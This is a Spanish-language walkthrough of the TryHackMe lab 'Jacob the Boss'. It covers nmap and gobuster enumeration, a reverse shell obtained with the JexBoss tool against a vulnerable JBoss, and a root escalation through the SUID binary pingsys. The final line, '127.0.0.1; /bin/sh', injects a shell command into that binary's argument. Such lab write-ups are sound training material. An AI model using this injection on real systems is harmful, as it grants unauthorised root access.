Jacob the Boss es una maquina de TryHackMe, la version de JBossWS es vulnerable por lo que utilizamos JexBoss Tool para ejecutar una shell inversa. Finalmente escalamos privilegios con un fichero SUID.
Room
Titulo |
Jacob the Boss |
Descripción |
Find a way in and learn a little more. |
Puntos |
160 |
Dificultad |
Media |
Maker |
waldir |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ssh (22), http (80), mysql (3306), apache tomcat (8080) y el servicio jboss (8083) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
# Nmap 7.80 scan initiated Tue Sep 8 17:24:17 2020 as: nmap -sV -o mini_scan jacobtheboss.box
Nmap scan report for jacobtheboss.box (10.10.186.254)
Host is up (0.28s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.20)
111/tcp open rpcbind
1090/tcp open java-rmi Java RMI
1098/tcp open java-rmi Java RMI
1099/tcp open java-object Java Object Serialization
3306/tcp open mysql MariaDB (unauthorized)
4444/tcp open krb524?
4445/tcp open java-object Java Object Serialization
4446/tcp open java-object Java Object Serialization
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8083/tcp open http JBoss service httpd
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1099-TCP:V=7.80%I=7%D=9/8%Time=5F57F69E%P=x86_64-pc-linux-gnu%r(NUL
SF:L,16F,"\xac\xed\0\x05sr\0\x19java\.rmi\.MarshalledObject\|\xbd\x1e\x97\
SF:xedc\xfc>\x02\0\x03I\0\x04hash\[\0\x08locBytest\0\x02\[B\[\0\x08objByte
SF:sq\0~\0\x01xp\]3S\xc2ur\0\x02\[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\0\0xp
SF:\0\0\0\.\xac\xed\0\x05t\0\x1dhttp://jacobtheboss\.box:8083/q\0~\0\0q\0~
SF:\0\0uq\0~\0\x03\0\0\0\xc7\xac\xed\0\x05sr\0\x20org\.jnp\.server\.Naming
SF:Server_Stub\0\0\0\0\0\0\0\x02\x02\0\0xr\0\x1ajava\.rmi\.server\.RemoteS
SF:tub\xe9\xfe\xdc\xc9\x8b\xe1e\x1a\x02\0\0xr\0\x1cjava\.rmi\.server\.Remo
SF:teObject\xd3a\xb4\x91\x0ca3\x1e\x03\0\0xpw;\0\x0bUnicastRef2\0\0\x10jac
SF:obtheboss\.box\0\0\x04J\0\0\0\0\0\0\0\0\xd7\xc7\x1c\xd8\0\0\x01to\x99\x
SF:ed;\x80\0\0x");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port4445-TCP:V=7.80%I=7%D=9/8%Time=5F57F6A3%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port4446-TCP:V=7.80%I=7%D=9/8%Time=5F57F6A3%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 8 17:25:12 2020 -- 1 IP address (1 host up) scanned in 54.24 seconds
|
HTTP
Encontramos una pagina web en el puerto 80.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
kali@kali:~/thm/jacobtheboss$ gobuster dir -u http://jacobtheboss.box/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/admin (Status: 301)
/cache (Status: 403)
/cgi-bin/ (Status: 403)
/cgi-bin/.html (Status: 403)
/db (Status: 403)
/inc (Status: 403)
/index.php (Status: 200)
/index.php (Status: 200)
/LICENSE (Status: 200)
/plugins (Status: 403)
/public (Status: 301)
/themes (Status: 301)
/var (Status: 403)
|
RPCBIND
RCP solo nos muestra que la conexion ha sido rechazada sin las credenciales.
1
2
|
kali@kali:~/thm/jacobtheboss$ rpcclient -U '' -N jacobtheboss.box
Cannot connect to server. Error was NT_STATUS_CONNECTION_REFUSED
|
HTTP 8080
Encontramos JBoss en el puerto 8080.
Verificamos la version de la plataforma en /jbossws/
.
JACOB - USER
Utilizamos Jexbooss para verificar si es vulnerable a los diferentes vectores. Vemos que es vulnerable a 3 de los 8 disponibles en esta herramienta.
Utilizamos la misma herramienta para ejecutar una shell inversa al igual que en THM - Tony The Tiger.
Logramos obtener una shell con el usuario jacob
y la flag user.txt
.
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion en busqueda de archivos SUID
y vemos varios comandos/binarios, a un principio se veia prometedor crontab
pero al ejecutar crontab -e
lo cual nos permitiria crear un cron como usuario root no era suficiente la shell que teniamos. Vemos tambien pingsys
el cual realiza un ping a una determinada IP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
[jacob@jacobtheboss /]$ find / -perm -4000 2> /dev/null | xargs ls -lah
find / -perm -4000 2> /dev/null | xargs ls -lah
-rwsr-xr-x. 1 root root 73K Aug 9 2019 /usr/bin/chage
-rws--x--x. 1 root root 24K Apr 1 04:51 /usr/bin/chfn
-rws--x--x. 1 root root 24K Apr 1 04:51 /usr/bin/chsh
-rwsr-xr-x. 1 root root 57K Aug 8 2019 /usr/bin/crontab
-rwsr-xr-x. 1 root root 32K Oct 30 2018 /usr/bin/fusermount
-rwsr-xr-x. 1 root root 77K Aug 9 2019 /usr/bin/gpasswd
-rwsr-xr-x. 1 root root 44K Apr 1 04:51 /usr/bin/mount
-rwsr-xr-x. 1 root root 41K Aug 9 2019 /usr/bin/newgrp
-rwsr-xr-x. 1 root root 28K Apr 1 03:57 /usr/bin/passwd
-rwsr-xr-x. 1 root root 8.4K Jul 30 22:10 /usr/bin/pingsys
-rwsr-xr-x. 1 root root 24K Apr 1 04:07 /usr/bin/pkexec
-rwsr-xr-x. 1 root root 32K Apr 1 04:51 /usr/bin/su
---s--x--x. 1 root root 144K Apr 1 04:37 /usr/bin/sudo
-rwsr-xr-x. 1 root root 32K Apr 1 04:51 /usr/bin/umount
-rwsr-x---. 1 root dbus 57K Jul 13 14:23 /usr/libexec/dbus-1/dbus-daemon-launch-helper
-rwsr-xr-x. 1 root root 16K Apr 1 04:07 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-xr-x. 1 root root 115K Apr 1 03:55 /usr/sbin/mount.nfs
-rwsr-xr-x. 1 root root 11K Apr 1 04:00 /usr/sbin/pam_timestamp_check
-rwsr-xr-x. 1 root root 36K Apr 1 04:00 /usr/sbin/unix_chkpwd
-rwsr-xr-x. 1 root root 12K Apr 1 02:50 /usr/sbin/usernetctl
|
Despues de investigar un poco sobre pingsys
encontramos un post en donde habla acerca de este binario, el codigo fuente y de cómo es posible obtener una shell con privilegios root. El Binario que encontramos en la maquina tiene strings muy parecidas al del codigo del post.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[jacob@jacobtheboss /]$ file /usr/bin/pingsys
/usr/bin/pingsys: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6edc93ec3e4b82857772727e602265140ee00823, not stripped
[jacob@jacobtheboss /]$ strings /usr/bin/pingsys
/lib64/ld-linux-x86-64.so.2
wrr~`"e
libc.so.6
setuid
system
__libc_start_main
snprintf
__gmon_start__
GLIBC_2.2.5
UH-P
UH-P
[]A\A]A^A_
ping -c 4 %s
setUID ERROR
;*3$"
[... REDACTED ...]
[root@jacobtheboss .ssh]#
|
Utilizamos pingsys
pasandole una IP y /bin/sh
separados por ;
lo cual va a realizar ping sobre la IP y luego ejecutará /bin/sh
, logramos obtener una shell con usuario root y la flag root.txt
.
1
|
/usr/bin/pingsys '127.0.0.1; /bin/sh'
|